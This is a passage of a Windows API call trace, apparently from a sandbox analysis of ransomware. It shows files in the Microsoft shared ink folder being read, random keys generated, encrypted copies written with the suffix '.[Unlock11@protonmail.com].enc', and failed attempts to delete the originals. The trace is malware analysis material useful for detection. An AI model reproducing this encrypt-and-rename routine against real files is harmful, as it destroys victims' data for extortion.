lpLocalFileTime=0x9bb4f0) returned 1 [0121.158] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.158] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.158] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.158] GetLastError () returned 0x0 [0121.158] GetCurrentThreadId () returned 0x9b0 [0121.158] GetLastError () returned 0x0 [0121.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0121.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0121.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0121.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0121.159] GetLastError () returned 0x0 [0121.159] GetLastError () returned 0x0 [0121.159] GetCurrentThreadId () returned 0x9b0 [0121.159] GetLastError () returned 0x0 [0121.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.159] GetLastError () returned 0x0 [0121.159] GetLastError () returned 0x0 [0121.159] GetCurrentThreadId () returned 0x9b0 [0121.160] GetLastError () returned 0x0 [0121.160] GetLastError () returned 0x0 [0121.161] GetLastError () returned 0x0 [0121.161] GetCurrentThreadId () returned 0x9b0 [0121.161] GetLastError () returned 0x0 [0121.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0121.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa28) returned 0x35c5908 [0121.162] GetCurrentThreadId () returned 0x9b0 [0121.162] GetLastError () returned 0x0 [0121.162] GetLastError () returned 0x0 [0121.162] GetLastError () returned 0x0 [0121.162] GetLastError () returned 0x0 [0121.162] GetCurrentThreadId () returned 0x9b0 [0121.162] GetLastError () returned 0x0 [0121.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0121.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.163] GetLastError () returned 0x0 [0121.163] GetLastError () returned 0x0 [0121.163] GetCurrentThreadId () returned 0x9b0 [0121.163] GetLastError () returned 0x0 [0121.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c7880 | out: hHeap=0x2ad0000) returned 1 [0121.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f78 [0121.163] GetLastError () returned 0x0 [0121.163] GetLastError () returned 0x0 [0121.163] GetCurrentThreadId () returned 0x9b0 [0121.163] GetLastError () returned 0x0 [0121.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f78 | out: hHeap=0x2ad0000) returned 1 [0121.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.164] GetLastError () returned 0x0 [0121.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.165] CloseHandle (hObject=0x3ac) returned 1 [0121.165] GetLastError () returned 0x0 [0121.165] GetCurrentThreadId () returned 0x9b0 [0121.165] GetLastError () returned 0x0 [0121.165] GetLastError () returned 0x0 [0121.165] CloseHandle (hObject=0x39c) returned 1 [0121.166] GetLastError () returned 0x0 [0121.166] GetCurrentThreadId () returned 0x9b0 [0121.166] GetLastError () returned 0x0 [0121.166] GetLastError () returned 0x0 [0121.166] GetLastError () returned 0x0 [0121.166] GetLastError () returned 0x0 [0121.166] GetLastError () returned 0x0 [0121.166] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0 [0121.166] GetLastError () returned 0x5 [0121.166] GetCurrentThreadId () returned 0x9b0 [0121.167] GetLastError () returned 0x5 [0121.167] GetLastError () returned 0x5 [0121.167] GetLastError () returned 0x5 [0121.167] GetLastError () returned 0x5 [0121.167] LocalFree (hMem=0x1053a70) returned 0x0 [0121.167] GetLastError () returned 0x5 [0121.167] GetLastError () returned 0x5 [0121.167] GetLastError () returned 0x5 [0121.167] GetLastError () returned 0x5 [0121.167] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", lpFilePart=0x9bada4*="ipsita.xml") returned 0x3d [0121.167] GetCurrentThreadId () returned 0x9b0 [0121.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0121.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0121.168] GetCurrentThreadId () returned 0x9b0 [0121.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0121.168] GetLastError () returned 0x0 [0121.168] GetLastError () returned 0x0 [0121.168] GetLastError () returned 0x0 [0121.168] GetLastError () returned 0x0 [0121.169] GetCurrentThreadId () returned 0x9b0 [0121.169] GetLastError () returned 0x0 [0121.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0121.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea3b8 [0121.169] GetLastError () returned 0x0 [0121.169] GetLastError () returned 0x0 [0121.169] GetLastError () returned 0x0 [0121.169] GetLastError () returned 0x0 [0121.169] GetCurrentThreadId () returned 0x9b0 [0121.169] GetLastError () returned 0x0 [0121.169] GetCurrentThreadId () returned 0x9b0 [0121.170] GetLastError () returned 0x0 [0121.170] GetLastError () returned 0x0 [0121.170] GetLastError () returned 0x0 [0121.170] GetLastError () returned 0x0 [0121.170] GetCurrentThreadId () returned 0x9b0 [0121.170] GetLastError () returned 0x0 [0121.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea3b8 | out: hHeap=0x2ad0000) returned 1 [0121.170] GetLastError () returned 0x0 [0121.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0121.170] GetLastError () returned 0x0 [0121.170] GetLastError () returned 0x0 [0121.171] GetLastError () returned 0x0 [0121.171] GetCurrentThreadId () returned 0x9b0 [0121.171] GetLastError () returned 0x0 [0121.171] GetLastError () returned 0x0 [0121.171] GetLastError () returned 0x0 [0121.171] GetLastError () returned 0x0 [0121.171] GetLastError () returned 0x0 [0121.171] GetCurrentThreadId () returned 0x9b0 [0121.171] GetLastError () returned 0x0 [0121.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0121.171] GetLastError () returned 0x0 [0121.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0121.172] GetLastError () returned 0x0 [0121.172] GetLastError () returned 0x0 [0121.172] GetLastError () returned 0x0 [0121.172] GetCurrentThreadId () returned 0x9b0 [0121.172] GetLastError () returned 0x0 [0121.172] GetLastError () returned 0x0 [0121.172] GetLastError () returned 0x0 [0121.172] GetLastError () returned 0x0 [0121.172] GetLastError () returned 0x0 [0121.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.173] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de)) returned 1 [0121.173] GetLastError () returned 0x0 [0121.173] GetCurrentThreadId () returned 0x9b0 [0121.173] GetLastError () returned 0x0 [0121.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.173] GetCurrentThreadId () returned 0x9b0 [0121.173] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0121.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0121.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0121.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0121.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea070 [0121.174] GetLastError () returned 0x0 [0121.174] GetLastError () returned 0x0 [0121.174] GetLastError () returned 0x0 [0121.174] GetLastError () returned 0x0 [0121.174] GetCurrentThreadId () returned 0x9b0 [0121.174] GetLastError () returned 0x0 [0121.174] GetCurrentThreadId () returned 0x9b0 [0121.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea070 | out: hHeap=0x2ad0000) returned 1 [0121.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0e8 [0121.174] GetLastError () returned 0x0 [0121.174] GetLastError () returned 0x0 [0121.175] GetLastError () returned 0x0 [0121.175] GetLastError () returned 0x0 [0121.175] GetCurrentThreadId () returned 0x9b0 [0121.175] GetLastError () returned 0x0 [0121.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0e8 | out: hHeap=0x2ad0000) returned 1 [0121.175] GetCurrentThreadId () returned 0x9b0 [0121.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0121.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a48a8 | out: hHeap=0x2ad0000) returned 1 [0121.175] GetLastError () returned 0x0 [0121.175] GetLastError () returned 0x0 [0121.175] GetLastError () returned 0x0 [0121.175] GetLastError () returned 0x0 [0121.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0121.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5f8 [0121.176] GetLastError () returned 0x0 [0121.176] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.176] GetFileType (hFile=0x39c) returned 0x1 [0121.176] GetLastError () returned 0x0 [0121.176] GetCurrentThreadId () returned 0x9b0 [0121.176] GetLastError () returned 0x0 [0121.176] GetFileType (hFile=0x39c) returned 0x1 [0121.177] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.177] GetLastError () returned 0x0 [0121.177] GetCurrentThreadId () returned 0x9b0 [0121.177] GetLastError () returned 0x0 [0121.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0121.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0121.177] GetLastError () returned 0x0 [0121.178] GetLastError () returned 0x0 [0121.178] GetLastError () returned 0x0 [0121.178] GetLastError () returned 0x0 [0121.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.178] GetLastError () returned 0x0 [0121.178] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.179] GetFileType (hFile=0x3ac) returned 0x1 [0121.179] GetLastError () returned 0x0 [0121.179] GetCurrentThreadId () returned 0x9b0 [0121.179] GetLastError () returned 0x0 [0121.179] GetFileType (hFile=0x3ac) returned 0x1 [0121.179] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.180] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.180] GetLastError () returned 0x0 [0121.180] GetCurrentThreadId () returned 0x9b0 [0121.180] GetLastError () returned 0x0 [0121.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0121.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.180] GetLastError () returned 0x0 [0121.180] GetLastError () returned 0x0 [0121.181] GetCurrentThreadId () returned 0x9b0 [0121.181] GetLastError () returned 0x0 [0121.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.181] GetLastError () returned 0x0 [0121.181] GetLastError () returned 0x0 [0121.181] GetCurrentThreadId () returned 0x9b0 [0121.181] GetLastError () returned 0x0 [0121.181] GetLastError () returned 0x0 [0121.183] GetLastError () returned 0x0 [0121.183] GetCurrentThreadId () returned 0x9b0 [0121.183] GetLastError () returned 0x0 [0121.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0121.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9f8) returned 0x35c5908 [0121.183] GetCurrentThreadId () returned 0x9b0 [0121.183] GetLastError () returned 0x0 [0121.183] GetLastError () returned 0x0 [0121.183] GetLastError () returned 0x0 [0121.184] GetLastError () returned 0x0 [0121.184] GetCurrentThreadId () returned 0x9b0 [0121.184] GetLastError () returned 0x0 [0121.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0121.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.184] GetLastError () returned 0x0 [0121.184] GetLastError () returned 0x0 [0121.184] GetCurrentThreadId () returned 0x9b0 [0121.184] GetLastError () returned 0x0 [0121.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3184040 | out: hHeap=0x2ad0000) returned 1 [0121.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f48 [0121.185] GetLastError () returned 0x0 [0121.185] GetLastError () returned 0x0 [0121.185] GetCurrentThreadId () returned 0x9b0 [0121.185] GetLastError () returned 0x0 [0121.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f48 | out: hHeap=0x2ad0000) returned 1 [0121.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.185] GetLastError () returned 0x0 [0121.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.186] CloseHandle (hObject=0x3ac) returned 1 [0121.186] GetLastError () returned 0x0 [0121.187] GetCurrentThreadId () returned 0x9b0 [0121.187] GetLastError () returned 0x0 [0121.187] GetLastError () returned 0x0 [0121.187] CloseHandle (hObject=0x39c) returned 1 [0121.187] GetLastError () returned 0x0 [0121.187] GetCurrentThreadId () returned 0x9b0 [0121.187] GetLastError () returned 0x0 [0121.187] GetLastError () returned 0x0 [0121.187] GetLastError () returned 0x0 [0121.187] GetLastError () returned 0x0 [0121.187] GetLastError () returned 0x0 [0121.188] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0 [0121.188] GetLastError () returned 0x5 [0121.188] GetCurrentThreadId () returned 0x9b0 [0121.188] GetLastError () returned 0x5 [0121.188] GetLastError () returned 0x5 [0121.188] GetLastError () returned 0x5 [0121.188] GetLastError () returned 0x5 [0121.188] LocalFree (hMem=0x1053c70) returned 0x0 [0121.188] GetCurrentThreadId () returned 0x9b0 [0121.189] GetLastError () returned 0x5 [0121.189] GetLastError () returned 0x5 [0121.189] GetLastError () returned 0x5 [0121.189] GetLastError () returned 0x5 [0121.189] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", lpFilePart=0x9bada4*="ipsjpn.xml") returned 0x3d [0121.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0121.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0121.189] GetCurrentThreadId () returned 0x9b0 [0121.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.190] GetLastError () returned 0x0 [0121.190] GetLastError () returned 0x0 [0121.190] GetLastError () returned 0x0 [0121.190] GetLastError () returned 0x0 [0121.190] GetCurrentThreadId () returned 0x9b0 [0121.190] GetLastError () returned 0x0 [0121.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0121.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea200 [0121.190] GetLastError () returned 0x0 [0121.190] GetLastError () returned 0x0 [0121.190] GetLastError () returned 0x0 [0121.191] GetLastError () returned 0x0 [0121.191] GetCurrentThreadId () returned 0x9b0 [0121.191] GetLastError () returned 0x0 [0121.191] GetCurrentThreadId () returned 0x9b0 [0121.191] GetLastError () returned 0x0 [0121.191] GetLastError () returned 0x0 [0121.191] GetLastError () returned 0x0 [0121.191] GetLastError () returned 0x0 [0121.191] GetCurrentThreadId () returned 0x9b0 [0121.191] GetLastError () returned 0x0 [0121.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea200 | out: hHeap=0x2ad0000) returned 1 [0121.192] GetLastError () returned 0x0 [0121.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0121.192] GetLastError () returned 0x0 [0121.192] GetLastError () returned 0x0 [0121.192] GetLastError () returned 0x0 [0121.192] GetCurrentThreadId () returned 0x9b0 [0121.192] GetCurrentThreadId () returned 0x9b0 [0121.192] GetCurrentThreadId () returned 0x9b0 [0121.192] GetCurrentThreadId () returned 0x9b0 [0121.192] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da)) returned 1 [0121.193] GetCurrentThreadId () returned 0x9b0 [0121.193] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0121.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0121.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0121.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0121.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea480 [0121.193] GetCurrentThreadId () returned 0x9b0 [0121.193] GetCurrentThreadId () returned 0x9b0 [0121.193] GetCurrentThreadId () returned 0x9b0 [0121.193] GetCurrentThreadId () returned 0x9b0 [0121.194] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.194] GetFileType (hFile=0x39c) returned 0x1 [0121.194] GetCurrentThreadId () returned 0x9b0 [0121.194] GetFileType (hFile=0x39c) returned 0x1 [0121.194] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.194] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.194] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.194] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.194] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.195] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.195] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.195] GetLastError () returned 0x0 [0121.195] GetCurrentThreadId () returned 0x9b0 [0121.195] GetLastError () returned 0x0 [0121.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0121.196] GetLastError () returned 0x0 [0121.196] GetLastError () returned 0x0 [0121.196] GetLastError () returned 0x0 [0121.196] GetLastError () returned 0x0 [0121.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de508 [0121.196] GetLastError () returned 0x0 [0121.196] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.197] GetFileType (hFile=0x3ac) returned 0x1 [0121.197] GetLastError () returned 0x0 [0121.197] GetCurrentThreadId () returned 0x9b0 [0121.197] GetLastError () returned 0x0 [0121.197] GetFileType (hFile=0x3ac) returned 0x1 [0121.198] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.198] GetLastError () returned 0x0 [0121.198] GetCurrentThreadId () returned 0x9b0 [0121.198] GetLastError () returned 0x0 [0121.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.198] HeapFree (in: 